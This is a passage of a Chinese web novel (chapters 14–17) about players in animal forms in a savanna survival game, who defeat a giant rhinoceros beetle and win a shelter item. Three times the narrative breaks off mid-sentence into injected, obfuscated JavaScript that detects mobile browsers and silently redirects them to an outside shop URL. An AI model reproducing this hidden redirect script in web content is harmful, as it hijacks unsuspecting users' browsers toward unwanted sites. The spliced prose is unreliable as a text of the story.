【“拟态捕食”游戏结束,恭喜猎物阵营胜利!每位猎物都将获得“拟态披风”*1奖励。】 【被揭穿的捕食者将会被限制在和平小屋内1小时,请猎物及时离开。】 这个游戏还挺人性化的,考虑到了捕食者在游戏结束之后直接去猎杀猎物的可能性。 “……没想到昨天竟然被你看到了,我甚至没有察觉到你的气息,狐獴小姐。” 游戏结束后,朱鹮的身形逐渐向下降低,变成了一条足有四米多长的蟒蛇。他通体覆盖着褐色的不规则斑块,由黑色的线条分割开来,如同一个个囚禁着猎物的牢笼。 他可怖的本体样貌令唐婧和林行都不禁后退了一步,宁安然也感觉思维迟缓了一些。 蟒蛇如同墙上的鬣狗一样,身体被无形的锁链拖到了墙边,随后被钉在了墙上。 宁安然没有接他的话,果断把包里的玻璃水瓶掏了出来,“啪”地一下在地上磕碎,随后举着尖锐的半个破瓶子捅向蟒蛇的七寸。 而在她的瓶子快要接触到裴清秋的时候,却再怎么使劲都没法往前一寸了。 裴清秋和她之间有一道空气墙,阻挡了她的动作。 游戏的规则没有骗人,失败的阵营只会失去背包里的物资,而不会因此失去生命。 “可恶……”宁安然忿忿地把玻璃瓶磕在了蟒蛇身边的墙壁上。 如果她没办法在现在杀死他,那他之后肯定会成为一个劲敌。 唐婧连忙过来用爪子推着她向外走:“快走吧小柠,别浪费时间了!” 宁安然将碎瓶子收进了背包里,跟着唐婧和林行往外走。 在离开和平小屋的时候,宁安然回过头,瞥了一眼墙上的裴清秋。 被锁链限制住的他说不了话,只是用他那狭长的眼瞳看着她,里面仿佛带着笑意。 14. 稀树草原 离开和平小屋后,三人查看了一下刚才收到的拟态披风。 【拟态披风:披上之后就能像变色龙一样融入环境(耐久度:100%)。】 林行扬起一边翅膀装作是手枪:“有了这玩意儿,我就可以cos碟中谍了!登、登、登登!登、登、登登!”他开始哼起了电影主题曲。 “哇塞,简直是逃跑……啊不,战略转移神器啊!”唐婧的眼睛亮晶晶的,看样子非常有安全感。 宁安然点点头:“嗯,要是没有耐久就好了。” 就在他们要离开的时候,宁安然被身后一道低沉的声音叫住了。 “那个……谢谢。” 她回过头,绵羊正微垂着脑袋看向她。 宁安然抬起了嘴角,蹦起来用爪子拍了一下他的脑袋:“谢什么,我们是猎物队友,互相帮忙不是应该的么?” 一旁的林行则开始起范儿了,他公鸭嗓咳嗽了两声,随后朝宁安然扬起翅膀。 “咳咳,说句公道话,要不是柠檬姐知道那蟒蛇的事儿,你这小羊的背包可早就被清空了。东风吹,战鼓擂,我柠檬姐出马谁怕谁……哎呦喂!” 宁安然实在受不了了,给林行的翅膀来了一记重锤:“能别丢脸了吗?” “嘿嘿,小林也难得说了句人话。”唐婧乐呵道。 绵羊眨了一下黄色的横瞳,随后从背包里掏出来一块毛绒绒的白色垫子,递给宁安然:“嗯。多亏了你我才保住背包。我的主动能力可以将身上的羊绒变成织物,这是我之前做的,请收下。” 唐婧的眼睛一下子亮了——这垫子看上去也太软了,要是放在洞穴里,睡觉的时候肯定很爽!! 她用爪子戳了戳宁安然的后背,暗示她火速收下。 宁安然无视了唐婧的小动作:“不用了,你的主动应该有使用次数限制吧?不如之后用它和别人换资源。” 绵羊刚才也在努力赢游戏,而且还主动提出和捕食者一起走,承担了比他们更多的风险。她实在不好意思收这份礼物。 “收下吧,我用不上。”绵羊坚持道。 唐婧戳宁安然的动作越来越快,她的后背都快被戳成筛子了。她只能无奈地接过羊绒软垫:“那好吧,谢谢你……对了。” 宁安然心念一动,背包里的5升大水桶就出现在了面前,甚至盖过了她的狐獴身形。 “你有没有找到水源?我们水多,你喝一点再走吧。” 看到这么多水,绵羊的横瞳缩了一下:“谢谢。我……确实没找到水,之前都是喝草上沾的露水。” 他也不矫情,俯下身啜饮了几口,看样子是真的渴了。 唐婧举起大爪子朝之前的岛指了指:“我们是从那个岛过来的,那里有个大池塘,你可以去那里取水~就是周围有一大群蚂蚁,得小心一点。” 绵羊一愣,随后连忙弯下了前腿,似乎是在行礼。 “太感谢了。” “没事。我们要朝另一个方向走,绵羊,你注意安全。”宁安然收起了水桶,朝绵羊挥挥爪子。 “你们也小心。”绵羊俯首道。 林行拍着翅膀准备起飞,瞥了绵羊一眼:“对了,还不知道你小子的名字呢!” “尹寂。”绵羊应道。 在他说完自己的名字后,宁安然三人也自我介绍了一下。 “幸会。”绵羊点了点头。 “啧啧啧,尹寂尹寂,真是人如其名啊,一句话也不肯多说。”林行吐槽道,“后会有期咯!” 三只小动物和一只大动物,在这烈日照耀下的小岛之上,朝着两个不同的方向离去。他们的身形很快便被晃眼的阳光和起伏的野草给分隔开来。 …… 西南方向,矗立着一座海拔相当高的岛屿,从这座岛上甚至只能看到它侧面的崖壁。 “好像还真有个反光的东西哎!”唐婧用爪子将身体撑高了些,朝那里打量着。 只见岛屿的顶端有一个小小的光点,随着云层的移动若隐若现,看起来像是什么东西在反射太阳光。 宁安然抬爪遮着烈日的光线,眯着眼睛打量了一下。 他们距离太远了,看不清具体是什么。 “能飞上去看看吗?”她问林行。 林行歪了下脖子,估算着上下高度差:“姐,你们还有吃的吗,我怕我劲儿不够使。” 那座岛屿足比这里高了四五十米,如同一座摩天大楼一般。 唐婧掏了个野山药扔在了地上,林行弯下腰“吧嗒吧嗒”地啄食着,碎屑飞了满地,弄得宁安然和唐婧毛皮上全是小白点。 宁安然无语——他这鸟形态的吃相也太差了点…… “你就先上去看一眼,小心点,别轻举妄动。”她提醒道。 “柠檬姐,你瞧不起谁呢!”林行弯着翅膀抹了一把喙,随后将羽毛上沾的山药碎屑抖掉,“咱是那种没见过世面的鸟吗?” 说罢,他就拍着翅膀起飞了。 林行沿着崖壁的侧面上升,裂隙间倒灌上来的风加快了他的速度,没一会儿就变成了崖顶上一个小小蓝绿色光点。 下面的鼹鼠和狐獴都把脖子伸长了看向上面。 几分钟后,林行俯冲了下来。 他落地之后,鸟脸上的表情很诡异——眼睛里满是兴奋,但似乎又皱着眉。 “柠檬姐,糖糖姐,那上面有个很大的石头。” “哈啊?石头?”唐婧疑惑。 林行小鸡啄米似地点头:“没毛病,但那石头怪得很,是油面儿的,还往下淌水,就是那层油在反光。那油还有一股味儿,我有点形容不上来,反正不是炒菜油的味儿。” 他这表达能力也是没谁了,不过宁安然还是从他的话语里提炼出了有效信息——那里确实有会反光的东西! 而且那个岛屿异常地高,与这座岛之间的裂隙也格外宽,一般动物根本上不去,很像游戏里那种会藏有宝藏的地方。 “秘宝是不是在上面啊,但是我们怎么上去呢?”唐婧用爪尖戳了戳嘴角。 宁安然嘴角勾起一抹笑:“我觉得,是时候使用神奇的妙妙工具了。” 唐婧则和宁安然对上了电波,恍然大悟道:“噢,原来是那个啊!” 林行则变成了蒙古人:“啥工具?我包里的藤蔓就几米,可不够往上搭的啊!” 宁安然不耐烦地挥了挥爪子,招呼着林行:“你先飞上去,姐姐我山人自有妙计。” “啥玩意儿……”林行不明所以地嘀咕着,拍拍翅膀又一次飞了上去。 他落在了岛屿的边缘,两只白色的豆豆眼打量着下面的岛屿——宁安然和唐婧已经不见了。 林行立刻慌了:“哎, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470651|201460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 咋回事!” 下一秒,只见黄棕色和黑色的两块色块“唰”地一下从他视野的最底下升到了最高处,随后落在了他的面前。 直到他们落下来林行才看清——狐獴的四爪拎着鼹鼠,背后长出了一对硕大的黄棕色羽翼,就和PS上去的一样,看起来相当违和。 “好家伙,带你装X带你飞,带你冲进垃圾堆。柠檬姐你还真会飞啊!”林行目瞪口呆。 宁安然两只爪子叉着腰:“当然了,只有你想不到,没有小柠我做不到!” 她刚才用了由冠雕灵魂炼化而成的体验卡——【羽翼-短暂拥有飞行能力(30秒)】。 这张卡原本是留着保命用的,但“猫跃”有类似的功能,宁安然就果断在这里用掉了。 旱季秘宝对于旱季的生存而言一定很重要,不付出是没办法拿到的。她一向不是瞻前顾后的性子,当断则断。 汇合之后,三人将视线投向了林行所说的那块“石头”。 它占据了这座岛屿三分之二的面积,如同一座小山包一样,高出地面一米多,整体是椭圆形的,大概有六七米长。它是深棕色反光的材质,线条相当流畅,表面覆着金黄色的油脂。 最里面的一层油脂在山体上凝固成了一层琥珀色硬壳,而表层的油脂还是粘稠的半透明状态,在阳光下顺着山体的轮廓向下滴落着,浸湿了周围的一片枯草。 “还真是一块在流油的石头诶,小林你没在骗我们!”唐婧感叹道。 林行理所当然地用翅膀拍了拍胸脯:“那当然了,林行出马,一个顶俩!” 宁安然走近了那块大石头,用爪尖沾了一滴油脂,随后放到圆鼻头前闻了闻。 它没有什么明显的异味,只是带着一点淡淡的松树香气。 “这是树脂!”宁安然惊讶道,“是好东西哎,我们看看能不能采一点带走吧!” 林行抬起脚爪刮了一块凝固了的树脂下来,外层的黏腻油脂把给他的几根爪趾都黏在了一起,如同一个蜂蜜芥末味鸡爪。 “这玩意儿不会就是秘宝吧?有啥用啊?” 宁安然解释道:“树脂是很强的粘合剂,比如如果我们要过岛的时候,藤条不够长,可以用它把两根藤条黏在一起。它还可以用来做燃料。但对于秘宝来说……似乎还不够格。” “哦……”林行兴致缺缺。 虽然没法直接收集粘稠的树脂,但是凝固的树脂可以被收进背包里。如果需要软化的话,就这旱季的天气,在太阳底下晒一会儿就成可以了。 他们在这座小山包旁辛勤地收着树脂,唐婧为了给剩下两人腾位置,挪到了椭圆形石头的前端。 收着收着,唐婧感觉到有点不对劲了。 “那个,小柠、小林,你们快来看一下……这石头的形状会不会太奇怪了点?” 宁安然和林行绕了过来,看向唐婧所示意的位置。 小山的两侧在前端汇聚成了一根粗大的角,角的后半缘和中段埋在了土里,而前端从土里捅了出来,最顶上分叉成了好几簇,如同一根倒插在地里的树杈一般。 宁安然瞪大了眼睛——这角的质感仿若皮革,和后面的“山包”衔接得严丝合缝,完全没有任何风化的痕迹。 “这不是石头。”宁安然震惊地说道。 “……是一只很大的独角仙。” 15. 稀树草原 这只巨大的独角仙有一半身子都埋在土里,而那隆起的山包是它的背壳,前面拱起来的分叉的东西则是它的角。 在意识到这件事的时候,宁安然感觉理智值猛地下降了一截。 ……怪不得这“山”上全是树脂。树脂是独角仙的食物,在挖树皮的时候树脂很容易流到它们的身上。 就在这时,那根巨大的角颤抖了一下,他们三人的脑海里也同时传来了系统提示音。 【沉睡的独角仙察觉到了你的存在,当前警觉度为30%,警觉度达到100%时会有很好的事发生喔~】 这连男女都分不出来的电流音,居然在话尾说出了娇俏的感觉,令宁安然一阵恶寒。 “很好的事?我咋不信呢。”林行相当质疑。 唐婧伸出去采集树脂的爪子都有些犹豫了:“诶,这独角仙要是醒过来的话,我们肯定打不过的吧!” “再收集一点树脂,我们就撤……”宁安然的话说到了一半,突然停了下来。 唐婧和林行也同时意识到了问题所在。 要怎么撤? 周围的岛屿和这个岛都有四五十米的高度差,而宁安然上来时用的体验卡是一次性的。 上山容易下山难啊! 宁安然的指甲抠进了凝固的树脂层中,黏腻的胶体糊了她满爪。 “对不起,我应该早点想这件事的。” 她一向都是会给自己留很多条退路的人,哪怕不能拿到自己想要的东西,也必须要全身而退。 虽然她在城中村的时候早就习惯了挣扎求生,但这个游戏给她带来了前所未有的生存压力。为了获得连具体是什么都不知道的“旱季秘宝”,她竟愚蠢地飞上了五十米高的高峰。 她不断下沉着的思绪被一道明媚的声音打断了。 “嗨,这有什么呀,我们不也没考虑清楚吗!”唐婧用爪子拍了拍宁安然的肩。 宁安然有些发怔地看向唐婧——这个曾经只要捕猎者一靠近就开始发抖的女孩,现在眼神里满是对自己的鼓励。 是因为危险还没有到眼前,所以她心存侥幸么?还是她知道绝望对现在的情形来说没有用,从而摒除了这种情绪? 林行也朝她们喊道:“慌啥啊姐,天塌下来当被盖,地陷下去当澡堂!我就不信我们出不去了,大不了我把我所有的藤蔓都用树脂粘起来,做条绳子送你们下去。藤蔓不够的话,我就去周围再摘点!” 他的社会人小语录让宁安然“噗”地笑出了声。这都哪跟哪…… 不过林行的后半句话倒是令她眼睛一亮——这办法好像还真行! 唐婧也惊艳地看向林行:“小林,你现在说人话的频率相当高啊!” “……糖糖姐,我啥时候不说人话了?”林行无语。 宁安然看着这俩互相打趣的小动物,嘴角带着笑。 她一直习惯于凡事都靠自己,所以一旦自己想不出办法,就忍不住开始钻牛角尖,被自责的情绪吞没了。 可狐獴本就是群居动物,在这个游戏里,她不必自生自灭。 打起了精神,她用爪子刮树脂的动作也快了起来。 【独角仙当前的警觉度为70%。】 “感觉差不多了,我们准备下山吧。”宁安然招呼着唐婧和林行。 经过这一番搜刮,他们每人都收集到了二十几份树脂,每一份都有拳头那么大。不管是用作粘合剂还是燃料,都够用好一阵子了。 于是他们凑在一起准备制作下山用的长藤蔓。 就在林行刚把藤蔓从背包里拿出来时,他们身后传来一声重响…… “咚!”“咔嚓……” 一个利落的身影从岛屿的边缘跳了上来,猛地落地。 她的落点,正好是独角仙角的尖端。 【独角仙当前的警觉度为90%。】 周围的地面在微微颤抖着,独角仙似乎正在苏醒,“小山包”比刚才明显高出了一截。 宁安然朝那个人的方向看过去——那是一个约莫二十四五岁左右,身姿矫健的女孩。她扎着简单的丸子头,发梢染成了粉色,凛冽中掺了点俏皮。穿着贴身的工字背心和短裤,裸露的手臂和腿部上覆着一层薄肌。 是运动员么? 然而她是谁已经不重要了,重要的是……那女孩正踩在独角仙头上犄角分叉的地方,其中的一个叉上蔓延开了一条裂纹。 “你、你别动啊姐姐!”林行连忙慌张地飞到了那女孩的脚边。 “哈?”女孩有些迷茫地看着自己的脚下,又看了看那只蓝绿色小鸟,“你是谁?这下面不就是根树杈吗?” 宁安然看着前面,心也提到了嗓子眼——女孩现在只要稍微一动,那犄角可能就会断。 这大独角仙要是断了角,一定不会放过他们! “那不是树杈,是独角仙的角,很危险!”宁安然抬头提醒道。 “啊?!”女孩被这话吓了一跳,回头看向那“小山包”。 此刻,独角仙背上的两片硬壳翅膀缓缓扬了起来,如同两座山被巨人举起来了一般,露出里面半透明的膜翅。它的脑袋也逐渐抬了起来,令女孩顿时重心不稳,趔趄了一下。 她连忙弯下腰,下意识地抓住了那根摇摇欲坠的角。 “咔嚓!” “我〇!”林行瞳孔地震。 那半根角彻底断了,“嘣”地一声砸在地上,把在它旁边站着的宁安然都震飞离地了。 【独角仙当前警戒度为100%,恭喜您,好事即将发生!】 宁安然无助地被砸在了地上——这就好像有人当着她的面按下了核武器的按钮,可她却什么也做不了。 面前的独角仙如同一台沉睡了很久的机器终于被重新启动,从甲壳深处传来了一阵低沉的嗡鸣。 随后,它背后的鞘翅缝打开了,一张一合、一张一合。覆盖在表层上的树脂蜡皮簌簌滑落,深褐色的几丁质硬壳重见天日,在阳光下熠熠生辉。 它六条折叠的腿从身体两侧一条一条撑开,每条都有一棵大树那么粗,末端的爪钩嵌入红土地面,掀起了一阵尘埃。 整个“小山包”猛然升高了,独角仙的本体完全显露了出来。它灰黑色的复眼在被放大之后清晰得吓人,每一个小眼睛都看向不同的方向。 宁安然感觉脑袋像被人猛击了一下一般,精神都有些恍惚了。 那一个个不断转动着的小眼睛变成了她小时候玩过的玻璃弹珠,在原地快速地自转着。 林行直接从角尖上弹射起飞,狂拍着翅膀,在空中骂了一声。具体骂的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470652|201460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是什么其他人听不见,但很明显不是什么好话。 唐婧则僵在了原地,大板牙都忘记收进嘴里了。 那个女孩反应很快,在独角仙站起来的瞬间她就跳开了,落地的同时她背后炸开了一圈黑白相间的长刺,像撑开了一把伞一样——她变成了一只豪猪。 “谁能来告诉我一下,这是什么情况?”女孩喊道。 “多亏了你,我们得打Boss了!”林行忿忿地说道。 独角仙的复眼一下就捕捉到了体型最大的豪猪,它整具庞大的身体沿直线朝她撞了过去,如同一辆油门踩死的大运。 “这、这也太快了吧!小柠,你躲我这儿吧!”唐婧立刻开动了主动能力,在地上刨出了一个小洞来。 宁安然看向唐婧,那里的小洞在她眼里现在是一个打开了门的地窖。 她强行压下低理智值带来的幻觉,没有跑过去,脑子里迅速做着判断。 她可以和唐婧钻进地里,林行可以飞,独角仙很难伤害到他们。 而那只豪猪可就不一样了,她是中型动物,进不了地下也飞不起来,很可能会成为独角仙的晚餐。 宁安然的视线紧盯着豪猪,独角仙正以极快的速度逼近她,而豪猪却站在原地岿然不动。 她这是傻了么?还是有什么奇招?宁安然一愣。 独角仙张开了硕大的口器,细密的小颚须如同黑色的牙齿一般朝豪猪咬去。 就在它快要将豪猪生吞入腹的时候,豪猪背上的几根刺忽然悬浮了起来,直直地扎进了独角仙的口中。 豪猪的背刺硬如钢针,独角仙的嘴里瞬间涌出了粘稠的淡黄色血液。 “呲——!” 它发出了一声尖锐的啸鸣,震得周围枯草剧烈晃动着。 然而,这一招除了激怒它之外,并没有起到什么有效的作用。独角仙的动作不但没有变缓,反而更快地朝豪猪飞扑而来。 豪猪连忙向旁边一滚,硬刺的尖端扎进了泥土里,为她缓冲了一些地面的摩擦力。 她气喘吁吁地趴了起来,背后又有几根刺漂浮了起来,胡乱地朝独角仙扎过去。 “噼、啪、嘣。” 利刺扎到它外壳时连一道划痕也没有留下,通通掉在了泥土上。 眼看着独角仙又要朝她的方向猛冲而来,她狼狈地边跑边喊着:“你们几个小不点儿,倒是想点办法啊!” 宁安然不是不想想办法,而是她现在眼前的景象实在太过混乱,一会儿是酒吧里的飞镖掉在了地上,一会儿是一辆卡车朝一个大海胆碾压了过去。 今天白天在看到鬣狗和岩蟒本体的时候,她的理智值已经下降了不少。现在面前还有一只她极度恐惧的大虫子在飞来飞去,她的脑子实在有点转不动了。 “啪嗒。” 独角仙冲刺时,口腔里的一滴血液落在了宁安然的毛皮上,令她本就见底的理智值又狠狠下降了一截。 等等,血液…… 它会受伤,说明它和普通独角仙的生理构造是一样的,只是体积大了很多。 既然它会流血,那它应该也会呼吸才对! 宁安然的眼前顿时清晰了一些,她朝空中那个不断上下跳动的蓝绿色网球喊道:“我有办法了!林行,快用拟声吸引它的注意!” 16. 稀树草原 林行没有多问,清了清嗓子便张开喙。 “吼——” 一声逼真的虎啸在岛屿的上空响起。 饶是听力很差的独角仙也被这声响吸引了注意力,抬起上半身,朝林行的方向看过去。 宁安然眼睛一亮——就是现在! 独角仙的胸腹部露了出来,每个腹节侧面都长有一对气门,不断翕动着。 气门是昆虫的呼吸孔,如果能堵住气门,那再大的虫子也会窒息而死! “豪猪女士,你看到独角仙腹部的气门了吗?你看看能不能用你的刺来堵住那些孔!”宁安然吼道。 由于独角仙的注意力被林行吸引过去了,狂奔的豪猪终于有了喘息的时间。她朝宁安然所指的那个方向看过去,果然,独角仙胸节的气门现在正好对着她! 豪猪的蹄子扣住地面,背部发力,两根利刺直直地扎进那一对气门中。 独角仙尖啸一声,上半身趴了下来,愤怒地将目标重新锁定为豪猪。 宁安然连忙向空中大喊:“林行,继续吸引注意力!” 林行又接着虎啸了一声,可独角仙这次不搭理他了,一心一意地朝豪猪的方向冲过去。 宁安然的心向下坠了一点——豪猪的体力正在被快速消耗着,必须赶紧让独角仙再次抬起上半身! 她心念一动,一张白卡就在她的爪子里出现,顷刻间化为齑粉。 【猫跃-获得卓越的跳跃能力,可以跳至十米高度(30秒)】 宁安然的后肢在地上踩稳,随后小腿猛一发力,她就跳到了十米的高空。 极速上升的超重感让她一阵眩晕,而身体悬停在最高点的那一瞬间,她的视网膜上满是小白点。 下一刻,强烈的失重感袭来,猛烈的狂风将她的耳朵刮得生疼。 “吃我一瓶子!” 宁安然从背包里掏出了碎瓶子,直直地朝独角仙的复眼捅过去。 “噗嗤——” 巨大的重力势能让宁安然重重地砸在了独角仙头部的硬壳上,砸出了一个小坑。而她手中的碎玻璃瓶捅进了它左侧的复眼里,瞬间黄血直流。 独角仙啸鸣了一声,痛苦地抬起脑袋想要把宁安然甩下来。 “就是现在!”宁安然朝豪猪喊道。 豪猪再一次发力,几根利刺扎进了独角仙腹部的气门中。 独角仙一趴下来,宁安然就用玻璃瓶刺它眼睛;独角仙一站起来,豪猪就用背刺扎它气门。循环往复了几个回合之后,它明显喘不上气了,动作迟缓了很多。 “你,你扎完了气门没,没有?我的体,体验卡,要到时间了!”在高空中蹦极的宁安然问道,每吐出一个字就要吸一口狂风,嘴巴被吹得都变了形。 独角仙的腹部只剩最后一个气门没被封上了,可豪猪把刺扔过去的时候,尖刺却被疯狂翕动着的气门瞬间弹开了。 “就差最后一个了!但我的刺,插,插不进去!”豪猪气喘吁吁地喊道,重新扔了一根刺过去,还是被一下子弹开了。 其他气门全被堵死,导致这个气门成了唯一的进气口,吸气喷气的速度都变得格外快,气门不断开合着,飞过去的尖刺根本插不进去。 “猫跃”体验卡时间到了,宁安然从高空跳了下来,重重地落在了独角仙的头顶,顺着它身体的甲壳向下滚落。 林行和唐婧连忙跑了过去,一个用翅膀接,一个用大爪子举,两兽合力将小狐獴托了起来。 “柠檬姐,你还活着吗?”林行想用喙扒拉宁安然的眼皮。 唐婧连忙踩了他一脚:“该死的臭鸟,说什么呢!小柠,你感觉怎么样?” 宁安然的思绪像是被浆糊糊住了一样,一会儿是飞镖,一会儿是卡车,一会儿是蓝色的网球,在她脑海里轮番上演着好戏。 她勉强地睁开眼睛,面前巨大的棕黑色色块正朝豪猪疾冲而去。 独角仙失去了她这个目标,就只剩下豪猪需要解决了。 “我没事,那个豪猪……”宁安然担忧地看向豪猪的方向。 豪猪现在的情况和宁安然差不多,经历了刚才激烈的战斗,她也力竭了。她试图向旁边跑,可蹄子趔趄了一下,头重脚轻地栽到了地上。 唐婧的视线落在了散落了一地的豪猪尖刺上,她轻轻吐了一口气:“看来是糖糖女王登场的时候了!” 她捡了一根尖刺收进背包,趁着主动能力的时间还没有结束,快速钻进了地里。 独角仙只剩下一个气门没有被堵上了,豪猪的能力没法精准瞄到气门,但如果她能从地底向上扎,应该能封住它! 此刻,岛屿边缘的豪猪只感觉自己四肢都使不上力气,刚才那一跤让她的鼻子和半张嘴都埋进了土里,眼睛的余光看到独角仙正朝她冲过来。 她已经无路可退了,背后就是深不见底的裂隙。 明明废了好大的劲才爬上的这座岛屿…… 她还没有来得及和梅露露一起爬上世界最高的山峰,就要死在这里了么? 独角仙距离她只有不到两米了,下一刻,它断裂的犄角就会捅进她的身体。 豪猪闭上了眼睛。 …… 1秒,2秒……10秒。 想象中的疼痛却没有到来,豪猪疑惑地睁开了眼睛。 棕黑色的犄角停在了她眼前不到20厘米的位置,整只独角仙就像灵魂被抽走了一样,六条腿无力地向下塌了下去。 “咚——” 独角仙坠落在了地上,消失成了星星点点的光芒。 在独角仙身下的唐婧从地里冒出了脑袋,大口地喘着粗气。 刚才,就在独角仙攻击豪猪的前一瞬间,唐婧挖洞挖到了独角仙的下腹部,朝着它那不断开合着的最后一个气门刺了过去,在千钧一发之际堵住了气门。 独角仙窒息而亡。 【恭喜您击败了独角仙,已掉落“旱季秘宝”-独角仙荫壳!】 在独角仙尸体的位置,出现了一个迷你独角仙摆件和一个灵魂。 一大三小四只动物都凑了过去。 “谢谢你们,我真以为自己要死在这里了。”豪猪感激地看向三人。 宁安然耸了下肩:“要不是你的刺,我们也没法解决它。” 唐婧小鸡啄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470653|201460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 米似地点头,星星眼地看着豪猪:“是啊姐妹!你的能力真的好厉害!” 能让自己的背刺离体当做飞镖,确实是很强的攻击技能。 豪猪扭过头,瞥了一眼自己的后背,那上面明显有一块地方光秃秃的没有刺。 “嗯。只不过刺是一次性的,拔出来了就没法装回去。” 林行吐槽道:“哇,那如果一直这样下去,你可要变成一头秃猪了!” 面对精神小伙魅力时刻,宁安然毫不犹豫地给了林行的脑袋一爪子:“林行,不会说话就别说!人家豪猪的刺和人的头发差不多,能再长出来的!” 豪猪却对此不太在意,轻笑了一下:“嗯,是得省着点用。” 唐婧弯下身把那个独角仙摆件捧了起来:“快来看看这是什么好东西!” 他们四人轮流查看着这枚小独角仙。 【独角仙荫壳:巨型独角仙去除了腿部后的甲壳,背部可调节透光度,腹腔内有可耕作的泥土,可以自由展开和收起。*荫壳内部有活着的动物时无法被收起。】 宁安然心念一动,她爪子里的独角仙摆件就消失了。在他们四人的周围,骤然升起了一圈半透明的棕褐色的甲壳,脚下也被泥土垫高了一些。甲壳严实地将他们围了起来,阳光透过壳顶倾洒了进来,光线很充足,却不像外面那样炎热了。 荫壳内部大约是10米长,4米宽,3米高的空间,相当于一个40平米的温室,人形态也能在里面自由地行走。 “哇塞哇塞!!”唐婧的豆豆眼里溢满了狂喜,迫不及待地在地上挖了一个小坑。 一些松软的泥土从她的爪缝间漏出,几颗湿润的团块留了下来。这土壤既不像沙子一样握在手里就流走了,也不至于像黏土一样呈现硬邦邦的泥团状。软硬、潮湿度都适中,颜色呈深褐色,代表里面腐殖质很多,是非常肥沃的土壤! 看到这样新鲜的泥土,众人的脸上都或多或少洋溢着农民淳朴的笑容。 “好家伙,咱也是有自己的堡垒了!这要是末日来临,它就是咱的专属庇护所啊!”林行用爪子啄了啄坚硬的甲壳,连一点儿划痕都没留下。 豪猪也顺应着几人兴奋的气氛,笑着踩了踩厚实的泥土:“嗯,有了这个荫壳,你们以后的生存应该会容易很多。” “你们”? 这个略微有些刺耳的词,让三人同时看向了豪猪的方向。 “姐妹姐妹,这不是我们一起努力换来的革命果实嘛,肯定要让你也一起住呀!”唐婧眨了眨眼。 林行也自来熟地用翅膀拍了拍豪猪:“就是,别跟咱见外!” 豪猪脸上的笑意没有褪去,却垂下了脑袋。 “要不是我一上岛就踩断了独角仙的角,它也不会醒过来。还好这位鼠兔想到了解决它的办法,否则可能已经被我给害死了。”她顿了顿,声音轻了下去,“所以,这个旱季秘宝应该是属于你们的,我并没有做什么。” 独角仙甲壳内,空气沉默了一小会儿。 被称作“鼠兔”的宁安然站起身来。 “豪猪女士,为了爬上这座岛,你应该花了很多时间吧。” 17. 稀树草原 宁安然平静地看着她,语气很笃定,明显早就意识到了这件事。 豪猪抬起了头,有些愣神:“嗯?你、你看出来了吗?” 宁安然点头。 她刚上岛的时候是人形态。在人形态下,动物技能和背包里的特殊道具都没有办法使用,所以就只有一种可能——她是徒手攀岩上来的。 岛屿的侧面凸起着一些小石头、硬土块,理论上能作为攀岩的岩点。但只要有脑子的人都不会去做这样的事,这些凸起都不够牢固,没有安全绳的情况下,一不小心就会掉下去。 唐婧大惊失色:“小姐姐你,不是,这,这么高的悬崖……”她爪舞足蹈地比划着岛屿的高度。 豪猪自嘲地笑了一下:“嗯,我很傻对吧?” 悬崖底下是确定无疑的万丈深渊,悬崖上方是连存在性都不明确的奖励,风险和收益完全不成正比。 宁安然看着豪猪,目光变深了些。 她能体会这种感觉。 她曾经冒着被电网电击的风险翻过房檐,只为了够到架子上可能已经卖完了的临期面包。翻过电网,她可能会死。但是如果不翻,那她就什么都不会有了。 “要不是你不顾危险地爬了上来,我们刮完树脂就会离开了,根本不会想到独角仙就是旱季秘宝。我们可能能活过今晚,可能也能撑过明晚,但再过几天之后呢?等到太阳灼热得能把人晒融化,等到大地开裂得没有立足之处的时候,没有这个旱季秘宝,我们又要怎么活下去?” 宁安然朝豪猪的方向走了一步,爪子搭在了她的脑袋旁边:“你的决策是对的。而且既然活下来了,你就是赢家。” 豪猪怔然地看着面前的小狐獴,张了张嘴,却一时之间说不出话来,唯有闪烁着的眼神表达出了她心中翻涌的波涛。 豪猪还没吭声呢,一道公鸭嗓就带着哭腔炸开了:“呜哇……柠檬姐,豪猪姐!” 感动的氛围一下子被林行破坏了,唐婧踹了一脚他的爪子:“臭鸟,你在干嘛?” “呜……”林行啜泣着躲闪,一个小跳灵活地蹦到了旁边,用翅膀抹了一把泪,“柠檬姐这话整得我性情了。” 宁安然轻笑了一下,拍了拍豪猪的肩膀:“好了,大家的理智值应该都不高了,今晚我们先在这里休息一下,吃点东西吧。” 顺着藤蔓爬下山估计得消耗不少理智值,必须得先睡一觉再说。 说到这儿,唐婧便从背包里拿出了几块狞猫肉和野山药,分给众人。 